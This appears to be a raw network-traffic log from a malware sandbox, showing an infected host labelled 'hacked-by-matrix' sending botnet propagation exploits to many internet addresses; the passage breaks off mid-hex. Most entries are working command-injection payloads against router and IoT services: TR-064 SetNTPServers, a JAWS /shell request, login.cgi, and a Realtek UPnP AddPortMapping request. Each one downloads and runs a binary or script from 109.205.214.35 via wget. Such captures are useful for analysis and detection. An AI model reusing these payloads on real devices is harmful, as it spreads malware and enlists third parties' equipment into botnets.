Mar 21, 2024 05:23:22.032526016 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:47.116219997 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
822	192.168.2.13	60286	54.177.83.251	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.726356030 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:59.888607025 CET	146	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
823	192.168.2.13	46112	174.18.63.112	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.756316900 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
824	192.168.2.13	56522	99.246.84.236	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.847436905 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
825	192.168.2.13	38404	24.217.75.74	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.857984066 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
826	192.168.2.13	47364	104.128.126.181	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.883368015 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:00.716240883 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:01.676228046 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:03.596302032 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:07.436234951 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:15.117609978 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:30.476241112 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
827	192.168.2.13	46196	174.18.63.112	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.931921005 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:00.509355068 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
828	192.168.2.13	34750	18.238.110.226	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.932399988 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:00.844244957 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:01.932235956 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:02.092746973 CET	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Thu, 21 Mar 2024 04:23:02 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 cb00aab410567636a8e650a8ebc7d9be.cloudfront.net (CloudFront) X-Amz-Cf-Pop: PHX52-P2 X-Amz-Cf-Id: OGnoFKIMDHPsoEaeEKOKuGrFV-vo16HamIN0GLVBVUVCEe2F8fiwxA== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 4f 47 6e 6f 46 4b 49 4d 44 48 50 73 6f 45 61 65 45 4b 4f 4b 75 47 72 46 56 2d 76 6f 31 36 48 61 6d 49 4e 30 47 4c 56 42 56 55 56 43 45 65 32 46 38 66 69 77 78 41 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: OGnoFKIMDHPsoEaeEKOKuGrFV-vo16HamIN0GLVBVUVCEe2F8fiwxA==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
829	192.168.2.13	41836	39.101.68.213	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.932399988 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:01.804240942 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:02.159790039 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:02 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
830	192.168.2.13	58894	109.36.221.154	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.934515953 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:00.493334055 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:01.580224037 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
831	192.168.2.13	37918	109.36.131.62	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:59.939471960 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 